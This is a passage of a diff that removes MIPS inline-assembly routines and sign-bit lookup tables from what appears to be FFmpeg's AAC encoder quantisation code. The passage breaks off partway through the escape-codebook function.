- * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
- */
-
-/**
- * @file
- * Reference: libavcodec/aaccoder.c
- */
-
-#include "libavutil/libm.h"
-
-#include <float.h>
-#include "libavutil/mathematics.h"
-#include "libavcodec/avcodec.h"
-#include "libavcodec/put_bits.h"
-#include "libavcodec/aac.h"
-#include "libavcodec/aacenc.h"
-#include "libavcodec/aactab.h"
-#include "libavcodec/aacenctab.h"
-#include "libavcodec/aacenc_utils.h"
-
-#if HAVE_INLINE_ASM
-#if !HAVE_MIPS32R6 && !HAVE_MIPS64R6
-typedef struct BandCodingPath {
-    int prev_idx;
-    float cost;
-    int run;
-} BandCodingPath;
-
-static const uint8_t uquad_sign_bits[81] = {
-    0, 1, 1, 1, 2, 2, 1, 2, 2,
-    1, 2, 2, 2, 3, 3, 2, 3, 3,
-    1, 2, 2, 2, 3, 3, 2, 3, 3,
-    1, 2, 2, 2, 3, 3, 2, 3, 3,
-    2, 3, 3, 3, 4, 4, 3, 4, 4,
-    2, 3, 3, 3, 4, 4, 3, 4, 4,
-    1, 2, 2, 2, 3, 3, 2, 3, 3,
-    2, 3, 3, 3, 4, 4, 3, 4, 4,
-    2, 3, 3, 3, 4, 4, 3, 4, 4
-};
-
-static const uint8_t upair7_sign_bits[64] = {
-    0, 1, 1, 1, 1, 1, 1, 1,
-    1, 2, 2, 2, 2, 2, 2, 2,
-    1, 2, 2, 2, 2, 2, 2, 2,
-    1, 2, 2, 2, 2, 2, 2, 2,
-    1, 2, 2, 2, 2, 2, 2, 2,
-    1, 2, 2, 2, 2, 2, 2, 2,
-    1, 2, 2, 2, 2, 2, 2, 2,
-    1, 2, 2, 2, 2, 2, 2, 2,
-};
-
-static const uint8_t upair12_sign_bits[169] = {
-    0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
-    1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,
-    1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,
-    1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,
-    1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,
-    1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,
-    1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,
-    1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,
-    1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,
-    1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,
-    1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,
-    1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,
-    1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2
-};
-
-static const uint8_t esc_sign_bits[289] = {
-    0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
-    1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,
-    1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,
-    1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,
-    1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,
-    1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,
-    1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,
-    1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,
-    1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,
-    1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,
-    1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,
-    1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,
-    1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,
-    1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,
-    1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,
-    1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,
-    1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2
-};
-
-/**
- * Functions developed from template function and optimized for quantizing and encoding band
- */
-static void quantize_and_encode_band_cost_SQUAD_mips(struct AACEncContext *s,
-                                                     PutBitContext *pb, const float *in, float *out,
-                                                     const float *scaled, int size, int scale_idx,
-                                                     int cb, const float lambda, const float uplim,
-                                                     int *bits, float *energy, const float ROUNDING)
-{
-    const float Q34 = ff_aac_pow34sf_tab[POW_SF2_ZERO - scale_idx + SCALE_ONE_POS - SCALE_DIV_512];
-    const float IQ  = ff_aac_pow2sf_tab [POW_SF2_ZERO + scale_idx - SCALE_ONE_POS + SCALE_DIV_512];
-    int i;
-    int qc1, qc2, qc3, qc4;
-    float qenergy = 0.0f;
-
-    uint8_t  *p_bits  = (uint8_t  *)ff_aac_spectral_bits[cb-1];
-    uint16_t *p_codes = (uint16_t *)ff_aac_spectral_codes[cb-1];
-    float    *p_vec   = (float    *)ff_aac_codebook_vectors[cb-1];
-
-    abs_pow34_v(s->scoefs, in, size);
-    scaled = s->scoefs;
-    for (i = 0; i < size; i += 4) {
-        int curidx;
-        int *in_int = (int *)&in[i];
-        int t0, t1, t2, t3, t4, t5, t6, t7;
-        const float *vec;
-
-        qc1 = scaled[i  ] * Q34 + ROUND_STANDARD;
-        qc2 = scaled[i+1] * Q34 + ROUND_STANDARD;
-        qc3 = scaled[i+2] * Q34 + ROUND_STANDARD;
-        qc4 = scaled[i+3] * Q34 + ROUND_STANDARD;
-
-        __asm__ volatile (
-            ".set push                      \n\t"
-            ".set noreorder                 \n\t"
-
-            "slt    %[qc1], $zero,  %[qc1]  \n\t"
-            "slt    %[qc2], $zero,  %[qc2]  \n\t"
-            "slt    %[qc3], $zero,  %[qc3]  \n\t"
-            "slt    %[qc4], $zero,  %[qc4]  \n\t"
-            "lw     %[t0],  0(%[in_int])    \n\t"
-            "lw     %[t1],  4(%[in_int])    \n\t"
-            "lw     %[t2],  8(%[in_int])    \n\t"
-            "lw     %[t3],  12(%[in_int])   \n\t"
-            "srl    %[t0],  %[t0],  31      \n\t"
-            "srl    %[t1],  %[t1],  31      \n\t"
-            "srl    %[t2],  %[t2],  31      \n\t"
-            "srl    %[t3],  %[t3],  31      \n\t"
-            "subu   %[t4],  $zero,  %[qc1]  \n\t"
-            "subu   %[t5],  $zero,  %[qc2]  \n\t"
-            "subu   %[t6],  $zero,  %[qc3]  \n\t"
-            "subu   %[t7],  $zero,  %[qc4]  \n\t"
-            "movn   %[qc1], %[t4],  %[t0]   \n\t"
-            "movn   %[qc2], %[t5],  %[t1]   \n\t"
-            "movn   %[qc3], %[t6],  %[t2]   \n\t"
-            "movn   %[qc4], %[t7],  %[t3]   \n\t"
-
-            ".set pop                       \n\t"
-
-            : [qc1]"+r"(qc1), [qc2]"+r"(qc2),
-              [qc3]"+r"(qc3), [qc4]"+r"(qc4),
-              [t0]"=&r"(t0), [t1]"=&r"(t1), [t2]"=&r"(t2), [t3]"=&r"(t3),
-              [t4]"=&r"(t4), [t5]"=&r"(t5), [t6]"=&r"(t6), [t7]"=&r"(t7)
-            : [in_int]"r"(in_int)
-            : "memory"
-        );
-
-        curidx = qc1;
-        curidx *= 3;
-        curidx += qc2;
-        curidx *= 3;
-        curidx += qc3;
-        curidx *= 3;
-        curidx += qc4;
-        curidx += 40;
-
-        put_bits(pb, p_bits[curidx], p_codes[curidx]);
-
-        if (out || energy) {
-            float e1,e2,e3,e4;
-            vec = &p_vec[curidx*4];
-            e1 = vec[0] * IQ;
-            e2 = vec[1] * IQ;
-            e3 = vec[2] * IQ;
-            e4 = vec[3] * IQ;
-            if (out) {
-                out[i+0] = e1;
-                out[i+1] = e2;
-                out[i+2] = e3;
-                out[i+3] = e4;
-            }
-            if (energy)
-                qenergy += (e1*e1 + e2*e2) + (e3*e3 + e4*e4);
-        }
-    }
-    if (energy)
-        *energy = qenergy;
-}
-
-static void quantize_and_encode_band_cost_UQUAD_mips(struct AACEncContext *s,
-                                                     PutBitContext *pb, const float *in, float *out,
-                                                     const float *scaled, int size, int scale_idx,
-                                                     int cb, const float lambda, const float uplim,
-                                                     int *bits, float *energy, const float ROUNDING)
-{
-    const float Q34 = ff_aac_pow34sf_tab[POW_SF2_ZERO - scale_idx + SCALE_ONE_POS - SCALE_DIV_512];
-    const float IQ  = ff_aac_pow2sf_tab [POW_SF2_ZERO + scale_idx - SCALE_ONE_POS + SCALE_DIV_512];
-    int i;
-    int qc1, qc2, qc3, qc4;
-    float qenergy = 0.0f;
-
-    uint8_t  *p_bits  = (uint8_t  *)ff_aac_spectral_bits[cb-1];
-    uint16_t *p_codes = (uint16_t *)ff_aac_spectral_codes[cb-1];
-    float    *p_vec   = (float    *)ff_aac_codebook_vectors[cb-1];
-
-    abs_pow34_v(s->scoefs, in, size);
-    scaled = s->scoefs;
-    for (i = 0; i < size; i += 4) {
-        int curidx, sign, count;
-        int *in_int = (int *)&in[i];
-        uint8_t v_bits;
-        unsigned int v_codes;
-        int t0, t1, t2, t3, t4;
-        const float *vec;
-
-        qc1 = scaled[i  ] * Q34 + ROUND_STANDARD;
-        qc2 = scaled[i+1] * Q34 + ROUND_STANDARD;
-        qc3 = scaled[i+2] * Q34 + ROUND_STANDARD;
-        qc4 = scaled[i+3] * Q34 + ROUND_STANDARD;
-
-        __asm__ volatile (
-            ".set push                              \n\t"
-            ".set noreorder                         \n\t"
-
-            "ori    %[t4],      $zero,      2       \n\t"
-            "ori    %[sign],    $zero,      0       \n\t"
-            "slt    %[t0],      %[t4],      %[qc1]  \n\t"
-            "slt    %[t1],      %[t4],      %[qc2]  \n\t"
-            "slt    %[t2],      %[t4],      %[qc3]  \n\t"
-            "slt    %[t3],      %[t4],      %[qc4]  \n\t"
-            "movn   %[qc1],     %[t4],      %[t0]   \n\t"
-            "movn   %[qc2],     %[t4],      %[t1]   \n\t"
-            "movn   %[qc3],     %[t4],      %[t2]   \n\t"
-            "movn   %[qc4],     %[t4],      %[t3]   \n\t"
-            "lw     %[t0],      0(%[in_int])        \n\t"
-            "lw     %[t1],      4(%[in_int])        \n\t"
-            "lw     %[t2],      8(%[in_int])        \n\t"
-            "lw     %[t3],      12(%[in_int])       \n\t"
-            "slt    %[t0],      %[t0],      $zero   \n\t"
-            "movn   %[sign],    %[t0],      %[qc1]  \n\t"
-            "slt    %[t1],      %[t1],      $zero   \n\t"
-            "slt    %[t2],      %[t2],      $zero   \n\t"
-            "slt    %[t3],      %[t3],      $zero   \n\t"
-            "sll    %[t0],      %[sign],    1       \n\t"
-            "or     %[t0],      %[t0],      %[t1]   \n\t"
-            "movn   %[sign],    %[t0],      %[qc2]  \n\t"
-            "slt    %[t4],      $zero,      %[qc1]  \n\t"
-            "slt    %[t1],      $zero,      %[qc2]  \n\t"
-            "slt    %[count],   $zero,      %[qc3]  \n\t"
-            "sll    %[t0],      %[sign],    1       \n\t"
-            "or     %[t0],      %[t0],      %[t2]   \n\t"
-            "movn   %[sign],    %[t0],      %[qc3]  \n\t"
-            "slt    %[t2],      $zero,      %[qc4]  \n\t"
-            "addu   %[count],   %[count],   %[t4]   \n\t"
-            "addu   %[count],   %[count],   %[t1]   \n\t"
-            "sll    %[t0],      %[sign],    1       \n\t"
-            "or     %[t0],      %[t0],      %[t3]   \n\t"
-            "movn   %[sign],    %[t0],      %[qc4]  \n\t"
-            "addu   %[count],   %[count],   %[t2]   \n\t"
-
-            ".set pop                               \n\t"
-
-            : [qc1]"+r"(qc1), [qc2]"+r"(qc2),
-              [qc3]"+r"(qc3), [qc4]"+r"(qc4),
-              [sign]"=&r"(sign), [count]"=&r"(count),
-              [t0]"=&r"(t0), [t1]"=&r"(t1), [t2]"=&r"(t2), [t3]"=&r"(t3),
-              [t4]"=&r"(t4)
-            : [in_int]"r"(in_int)
-            : "memory"
-        );
-
-        curidx = qc1;
-        curidx *= 3;
-        curidx += qc2;
-        curidx *= 3;
-        curidx += qc3;
-        curidx *= 3;
-        curidx += qc4;
-
-        v_codes = (p_codes[curidx] << count) | (sign & ((1 << count) - 1));
-        v_bits  = p_bits[curidx] + count;
-        put_bits(pb, v_bits, v_codes);
-
-        if (out || energy) {
-            float e1,e2,e3,e4;
-            vec = &p_vec[curidx*4];
-            e1 = copysignf(vec[0] * IQ, in[i+0]);
-            e2 = copysignf(vec[1] * IQ, in[i+1]);
-            e3 = copysignf(vec[2] * IQ, in[i+2]);
-            e4 = copysignf(vec[3] * IQ, in[i+3]);
-            if (out) {
-                out[i+0] = e1;
-                out[i+1] = e2;
-                out[i+2] = e3;
-                out[i+3] = e4;
-            }
-            if (energy)
-                qenergy += (e1*e1 + e2*e2) + (e3*e3 + e4*e4);
-        }
-    }
-    if (energy)
-        *energy = qenergy;
-}
-
-static void quantize_and_encode_band_cost_SPAIR_mips(struct AACEncContext *s,
-                                                     PutBitContext *pb, const float *in, float *out,
-                                                     const float *scaled, int size, int scale_idx,
-                                                     int cb, const float lambda, const float uplim,
-                                                     int *bits, float *energy, const float ROUNDING)
-{
-    const float Q34 = ff_aac_pow34sf_tab[POW_SF2_ZERO - scale_idx + SCALE_ONE_POS - SCALE_DIV_512];
-    const float IQ  = ff_aac_pow2sf_tab [POW_SF2_ZERO + scale_idx - SCALE_ONE_POS + SCALE_DIV_512];
-    int i;
-    int qc1, qc2, qc3, qc4;
-    float qenergy = 0.0f;
-
-    uint8_t  *p_bits  = (uint8_t  *)ff_aac_spectral_bits[cb-1];
-    uint16_t *p_codes = (uint16_t *)ff_aac_spectral_codes[cb-1];
-    float    *p_vec   = (float    *)ff_aac_codebook_vectors[cb-1];
-
-    abs_pow34_v(s->scoefs, in, size);
-    scaled = s->scoefs;
-    for (i = 0; i < size; i += 4) {
-        int curidx, curidx2;
-        int *in_int = (int *)&in[i];
-        uint8_t v_bits;
-        unsigned int v_codes;
-        int t0, t1, t2, t3, t4, t5, t6, t7;
-        const float *vec1, *vec2;
-
-        qc1 = scaled[i  ] * Q34 + ROUND_STANDARD;
-        qc2 = scaled[i+1] * Q34 + ROUND_STANDARD;
-        qc3 = scaled[i+2] * Q34 + ROUND_STANDARD;
-        qc4 = scaled[i+3] * Q34 + ROUND_STANDARD;
-
-        __asm__ volatile (
-            ".set push                      \n\t"
-            ".set noreorder                 \n\t"
-
-            "ori    %[t4],  $zero,  4       \n\t"
-            "slt    %[t0],  %[t4],  %[qc1]  \n\t"
-            "slt    %[t1],  %[t4],  %[qc2]  \n\t"
-            "slt    %[t2],  %[t4],  %[qc3]  \n\t"
-            "slt    %[t3],  %[t4],  %[qc4]  \n\t"
-            "movn   %[qc1], %[t4],  %[t0]   \n\t"
-            "movn   %[qc2], %[t4],  %[t1]   \n\t"
-            "movn   %[qc3], %[t4],  %[t2]   \n\t"
-            "movn   %[qc4], %[t4],  %[t3]   \n\t"
-            "lw     %[t0],  0(%[in_int])    \n\t"
-            "lw     %[t1],  4(%[in_int])    \n\t"
-            "lw     %[t2],  8(%[in_int])    \n\t"
-            "lw     %[t3],  12(%[in_int])   \n\t"
-            "srl    %[t0],  %[t0],  31      \n\t"
-            "srl    %[t1],  %[t1],  31      \n\t"
-            "srl    %[t2],  %[t2],  31      \n\t"
-            "srl    %[t3],  %[t3],  31      \n\t"
-            "subu   %[t4],  $zero,  %[qc1]  \n\t"
-            "subu   %[t5],  $zero,  %[qc2]  \n\t"
-            "subu   %[t6],  $zero,  %[qc3]  \n\t"
-            "subu   %[t7],  $zero,  %[qc4]  \n\t"
-            "movn   %[qc1], %[t4],  %[t0]   \n\t"
-            "movn   %[qc2], %[t5],  %[t1]   \n\t"
-            "movn   %[qc3], %[t6],  %[t2]   \n\t"
-            "movn   %[qc4], %[t7],  %[t3]   \n\t"
-
-            ".set pop                       \n\t"
-
-            : [qc1]"+r"(qc1), [qc2]"+r"(qc2),
-              [qc3]"+r"(qc3), [qc4]"+r"(qc4),
-              [t0]"=&r"(t0), [t1]"=&r"(t1), [t2]"=&r"(t2), [t3]"=&r"(t3),
-              [t4]"=&r"(t4), [t5]"=&r"(t5), [t6]"=&r"(t6), [t7]"=&r"(t7)
-            : [in_int]"r"(in_int)
-            : "memory"
-        );
-
-        curidx = 9 * qc1;
-        curidx += qc2 + 40;
-
-        curidx2 = 9 * qc3;
-        curidx2 += qc4 + 40;
-
-        v_codes = (p_codes[curidx] << p_bits[curidx2]) | (p_codes[curidx2]);
-        v_bits  = p_bits[curidx] + p_bits[curidx2];
-        put_bits(pb, v_bits, v_codes);
-
-        if (out || energy) {
-            float e1,e2,e3,e4;
-            vec1 = &p_vec[curidx*2 ];
-            vec2 = &p_vec[curidx2*2];
-            e1 = vec1[0] * IQ;
-            e2 = vec1[1] * IQ;
-            e3 = vec2[0] * IQ;
-            e4 = vec2[1] * IQ;
-            if (out) {
-                out[i+0] = e1;
-                out[i+1] = e2;
-                out[i+2] = e3;
-                out[i+3] = e4;
-            }
-            if (energy)
-                qenergy += (e1*e1 + e2*e2) + (e3*e3 + e4*e4);
-        }
-    }
-    if (energy)
-        *energy = qenergy;
-}
-
-static void quantize_and_encode_band_cost_UPAIR7_mips(struct AACEncContext *s,
-                                                      PutBitContext *pb, const float *in, float *out,
-                                                      const float *scaled, int size, int scale_idx,
-                                                      int cb, const float lambda, const float uplim,
-                                                      int *bits, float *energy, const float ROUNDING)
-{
-    const float Q34 = ff_aac_pow34sf_tab[POW_SF2_ZERO - scale_idx + SCALE_ONE_POS - SCALE_DIV_512];
-    const float IQ  = ff_aac_pow2sf_tab [POW_SF2_ZERO + scale_idx - SCALE_ONE_POS + SCALE_DIV_512];
-    int i;
-    int qc1, qc2, qc3, qc4;
-    float qenergy = 0.0f;
-
-    uint8_t  *p_bits  = (uint8_t*) ff_aac_spectral_bits[cb-1];
-    uint16_t *p_codes = (uint16_t*)ff_aac_spectral_codes[cb-1];
-    float    *p_vec   = (float    *)ff_aac_codebook_vectors[cb-1];
-
-    abs_pow34_v(s->scoefs, in, size);
-    scaled = s->scoefs;
-    for (i = 0; i < size; i += 4) {
-        int curidx1, curidx2, sign1, count1, sign2, count2;
-        int *in_int = (int *)&in[i];
-        uint8_t v_bits;
-        unsigned int v_codes;
-        int t0, t1, t2, t3, t4;
-        const float *vec1, *vec2;
-
-        qc1 = scaled[i  ] * Q34 + ROUND_STANDARD;
-        qc2 = scaled[i+1] * Q34 + ROUND_STANDARD;
-        qc3 = scaled[i+2] * Q34 + ROUND_STANDARD;
-        qc4 = scaled[i+3] * Q34 + ROUND_STANDARD;
-
-        __asm__ volatile (
-            ".set push                              \n\t"
-            ".set noreorder                         \n\t"
-
-            "ori    %[t4],      $zero,      7       \n\t"
-            "ori    %[sign1],   $zero,      0       \n\t"
-            "ori    %[sign2],   $zero,      0       \n\t"
-            "slt    %[t0],      %[t4],      %[qc1]  \n\t"
-            "slt    %[t1],      %[t4],      %[qc2]  \n\t"
-            "slt    %[t2],      %[t4],      %[qc3]  \n\t"
-            "slt    %[t3],      %[t4],      %[qc4]  \n\t"
-            "movn   %[qc1],     %[t4],      %[t0]   \n\t"
-            "movn   %[qc2],     %[t4],      %[t1]   \n\t"
-            "movn   %[qc3],     %[t4],      %[t2]   \n\t"
-            "movn   %[qc4],     %[t4],      %[t3]   \n\t"
-            "lw     %[t0],      0(%[in_int])        \n\t"
-            "lw     %[t1],      4(%[in_int])        \n\t"
-            "lw     %[t2],      8(%[in_int])        \n\t"
-            "lw     %[t3],      12(%[in_int])       \n\t"
-            "slt    %[t0],      %[t0],      $zero   \n\t"
-            "movn   %[sign1],   %[t0],      %[qc1]  \n\t"
-            "slt    %[t2],      %[t2],      $zero   \n\t"
-            "movn   %[sign2],   %[t2],      %[qc3]  \n\t"
-            "slt    %[t1],      %[t1],      $zero   \n\t"
-            "sll    %[t0],      %[sign1],   1       \n\t"
-            "or     %[t0],      %[t0],      %[t1]   \n\t"
-            "movn   %[sign1],   %[t0],      %[qc2]  \n\t"
-            "slt    %[t3],      %[t3],      $zero   \n\t"
-            "sll    %[t0],      %[sign2],   1       \n\t"
-            "or     %[t0],      %[t0],      %[t3]   \n\t"
-            "movn   %[sign2],   %[t0],      %[qc4]  \n\t"
-            "slt    %[count1],  $zero,      %[qc1]  \n\t"
-            "slt    %[t1],      $zero,      %[qc2]  \n\t"
-            "slt    %[count2],  $zero,      %[qc3]  \n\t"
-            "slt    %[t2],      $zero,      %[qc4]  \n\t"
-            "addu   %[count1],  %[count1],  %[t1]   \n\t"
-            "addu   %[count2],  %[count2],  %[t2]   \n\t"
-
-            ".set pop                               \n\t"
-
-            : [qc1]"+r"(qc1), [qc2]"+r"(qc2),
-              [qc3]"+r"(qc3), [qc4]"+r"(qc4),
-              [sign1]"=&r"(sign1), [count1]"=&r"(count1),
-              [sign2]"=&r"(sign2), [count2]"=&r"(count2),
-              [t0]"=&r"(t0), [t1]"=&r"(t1), [t2]"=&r"(t2), [t3]"=&r"(t3),
-              [t4]"=&r"(t4)
-            : [in_int]"r"(in_int)
-            : "t0", "t1", "t2", "t3", "t4",
-              "memory"
-        );
-
-        curidx1  = 8 * qc1;
-        curidx1 += qc2;
-
-        v_codes = (p_codes[curidx1] << count1) | sign1;
-        v_bits  = p_bits[curidx1] + count1;
-        put_bits(pb, v_bits, v_codes);
-
-        curidx2  = 8 * qc3;
-        curidx2 += qc4;
-
-        v_codes = (p_codes[curidx2] << count2) | sign2;
-        v_bits  = p_bits[curidx2] + count2;
-        put_bits(pb, v_bits, v_codes);
-
-        if (out || energy) {
-            float e1,e2,e3,e4;
-            vec1 = &p_vec[curidx1*2];
-            vec2 = &p_vec[curidx2*2];
-            e1 = copysignf(vec1[0] * IQ, in[i+0]);
-            e2 = copysignf(vec1[1] * IQ, in[i+1]);
-            e3 = copysignf(vec2[0] * IQ, in[i+2]);
-            e4 = copysignf(vec2[1] * IQ, in[i+3]);
-            if (out) {
-                out[i+0] = e1;
-                out[i+1] = e2;
-                out[i+2] = e3;
-                out[i+3] = e4;
-            }
-            if (energy)
-                qenergy += (e1*e1 + e2*e2) + (e3*e3 + e4*e4);
-        }
-    }
-    if (energy)
-        *energy = qenergy;
-}
-
-static void quantize_and_encode_band_cost_UPAIR12_mips(struct AACEncContext *s,
-                                                       PutBitContext *pb, const float *in, float *out,
-                                                       const float *scaled, int size, int scale_idx,
-                                                       int cb, const float lambda, const float uplim,
-                                                       int *bits, float *energy, const float ROUNDING)
-{
-    const float Q34 = ff_aac_pow34sf_tab[POW_SF2_ZERO - scale_idx + SCALE_ONE_POS - SCALE_DIV_512];
-    const float IQ  = ff_aac_pow2sf_tab [POW_SF2_ZERO + scale_idx - SCALE_ONE_POS + SCALE_DIV_512];
-    int i;
-    int qc1, qc2, qc3, qc4;
-    float qenergy = 0.0f;
-
-    uint8_t  *p_bits  = (uint8_t*) ff_aac_spectral_bits[cb-1];
-    uint16_t *p_codes = (uint16_t*)ff_aac_spectral_codes[cb-1];
-    float    *p_vec   = (float   *)ff_aac_codebook_vectors[cb-1];
-
-    abs_pow34_v(s->scoefs, in, size);
-    scaled = s->scoefs;
-    for (i = 0; i < size; i += 4) {
-        int curidx1, curidx2, sign1, count1, sign2, count2;
-        int *in_int = (int *)&in[i];
-        uint8_t v_bits;
-        unsigned int v_codes;
-        int t0, t1, t2, t3, t4;
-        const float *vec1, *vec2;
-
-        qc1 = scaled[i  ] * Q34 + ROUND_STANDARD;
-        qc2 = scaled[i+1] * Q34 + ROUND_STANDARD;
-        qc3 = scaled[i+2] * Q34 + ROUND_STANDARD;
-        qc4 = scaled[i+3] * Q34 + ROUND_STANDARD;
-
-        __asm__ volatile (
-            ".set push                              \n\t"
-            ".set noreorder                         \n\t"
-
-            "ori    %[t4],      $zero,      12      \n\t"
-            "ori    %[sign1],   $zero,      0       \n\t"
-            "ori    %[sign2],   $zero,      0       \n\t"
-            "slt    %[t0],      %[t4],      %[qc1]  \n\t"
-            "slt    %[t1],      %[t4],      %[qc2]  \n\t"
-            "slt    %[t2],      %[t4],      %[qc3]  \n\t"
-            "slt    %[t3],      %[t4],      %[qc4]  \n\t"
-            "movn   %[qc1],     %[t4],      %[t0]   \n\t"
-            "movn   %[qc2],     %[t4],      %[t1]   \n\t"
-            "movn   %[qc3],     %[t4],      %[t2]   \n\t"
-            "movn   %[qc4],     %[t4],      %[t3]   \n\t"
-            "lw     %[t0],      0(%[in_int])        \n\t"
-            "lw     %[t1],      4(%[in_int])        \n\t"
-            "lw     %[t2],      8(%[in_int])        \n\t"
-            "lw     %[t3],      12(%[in_int])       \n\t"
-            "slt    %[t0],      %[t0],      $zero   \n\t"
-            "movn   %[sign1],   %[t0],      %[qc1]  \n\t"
-            "slt    %[t2],      %[t2],      $zero   \n\t"
-            "movn   %[sign2],   %[t2],      %[qc3]  \n\t"
-            "slt    %[t1],      %[t1],      $zero   \n\t"
-            "sll    %[t0],      %[sign1],   1       \n\t"
-            "or     %[t0],      %[t0],      %[t1]   \n\t"
-            "movn   %[sign1],   %[t0],      %[qc2]  \n\t"
-            "slt    %[t3],      %[t3],      $zero   \n\t"
-            "sll    %[t0],      %[sign2],   1       \n\t"
-            "or     %[t0],      %[t0],      %[t3]   \n\t"
-            "movn   %[sign2],   %[t0],      %[qc4]  \n\t"
-            "slt    %[count1],  $zero,      %[qc1]  \n\t"
-            "slt    %[t1],      $zero,      %[qc2]  \n\t"
-            "slt    %[count2],  $zero,      %[qc3]  \n\t"
-            "slt    %[t2],      $zero,      %[qc4]  \n\t"
-            "addu   %[count1],  %[count1],  %[t1]   \n\t"
-            "addu   %[count2],  %[count2],  %[t2]   \n\t"
-
-            ".set pop                               \n\t"
-
-            : [qc1]"+r"(qc1), [qc2]"+r"(qc2),
-              [qc3]"+r"(qc3), [qc4]"+r"(qc4),
-              [sign1]"=&r"(sign1), [count1]"=&r"(count1),
-              [sign2]"=&r"(sign2), [count2]"=&r"(count2),
-              [t0]"=&r"(t0), [t1]"=&r"(t1), [t2]"=&r"(t2), [t3]"=&r"(t3),
-              [t4]"=&r"(t4)
-            : [in_int]"r"(in_int)
-            : "memory"
-        );
-
-        curidx1  = 13 * qc1;
-        curidx1 += qc2;
-
-        v_codes = (p_codes[curidx1] << count1) | sign1;
-        v_bits  = p_bits[curidx1] + count1;
-        put_bits(pb, v_bits, v_codes);
-
-        curidx2  = 13 * qc3;
-        curidx2 += qc4;
-
-        v_codes = (p_codes[curidx2] << count2) | sign2;
-        v_bits  = p_bits[curidx2] + count2;
-        put_bits(pb, v_bits, v_codes);
-
-        if (out || energy) {
-            float e1,e2,e3,e4;
-            vec1 = &p_vec[curidx1*2];
-            vec2 = &p_vec[curidx2*2];
-            e1 = copysignf(vec1[0] * IQ, in[i+0]);
-            e2 = copysignf(vec1[1] * IQ, in[i+1]);
-            e3 = copysignf(vec2[0] * IQ, in[i+2]);
-            e4 = copysignf(vec2[1] * IQ, in[i+3]);
-            if (out) {
-                out[i+0] = e1;
-                out[i+1] = e2;
-                out[i+2] = e3;
-                out[i+3] = e4;
-            }
-            if (energy)
-                qenergy += (e1*e1 + e2*e2) + (e3*e3 + e4*e4);
-        }
-    }
-    if (energy)
-        *energy = qenergy;
-}
-
-static void quantize_and_encode_band_cost_ESC_mips(struct AACEncContext *s,
-                                                   PutBitContext *pb, const float *in, float *out,
-                                                   const float *scaled, int size, int scale_idx,
-                                                   int cb, const float lambda, const float uplim,
-                                                   int *bits, float *energy, const float ROUNDING)
-{
-    const float Q34 = ff_aac_pow34sf_tab[POW_SF2_ZERO - scale_idx + SCALE_ONE_POS - SCALE_DIV_512];
-    const float IQ  = ff_aac_pow2sf_tab [POW_SF2_ZERO + scale_idx - SCALE_ONE_POS + SCALE_DIV_512];
-    int i;
-    int qc1, qc2, qc3, qc4;
-    float qenergy = 0.0f;
-
-    uint8_t  *p_bits    = (uint8_t* )ff_aac_spectral_bits[cb-1];
-    uint16_t *p_codes   = (uint16_t*)ff_aac_spectral_codes[cb-1];
-    float    *p_vectors = (float*   )ff_aac_codebook_vectors[cb-1];
-
-    abs_pow34_v(s->scoefs, in, size);
-    scaled = s->scoefs;
-
-    if (cb < 11) {
-        for (i = 0; i < size; i += 4) {
-            int curidx, curidx2, sign1, count1, sign2, count2;
-            int *in_int = (int *)&in[i];
-            uint8_t v_bits;
-            unsigned int v_codes;
-            int t0, t1, t2, t3, t4;
-            const float *vec1, *vec2;
-
-            qc1 = scaled[i  ] * Q34 + ROUNDING;
-            qc2 = scaled[i+1] * Q34 + ROUNDING;
-            qc3 = scaled[i+2] * Q34 + ROUNDING;
-            qc4 = scaled[i+3] * Q34 + ROUNDING;
-
-            __asm__ volatile (
-                ".set push                                  \n\t"
-                ".set noreorder                             \n\t"
-
-                "ori        %[t4],      $zero,      16      \n\t"
-                "ori        %[sign1],   $zero,      0       \n\t"
-                "ori        %[sign2],   $zero,      0       \n\t"
-                "slt        %[t0],      %[t4],      %[qc1]  \n\t"
-                "slt        %[t1],      %[t4],      %[qc2]  \n\t"
-                "slt        %[t2],      %[t4],      %[qc3]  \n\t"
-                "slt        %[t3],      %[t4],      %[qc4]  \n\t"
-                "movn       %[qc1],     %[t4],      %[t0]   \n\t"
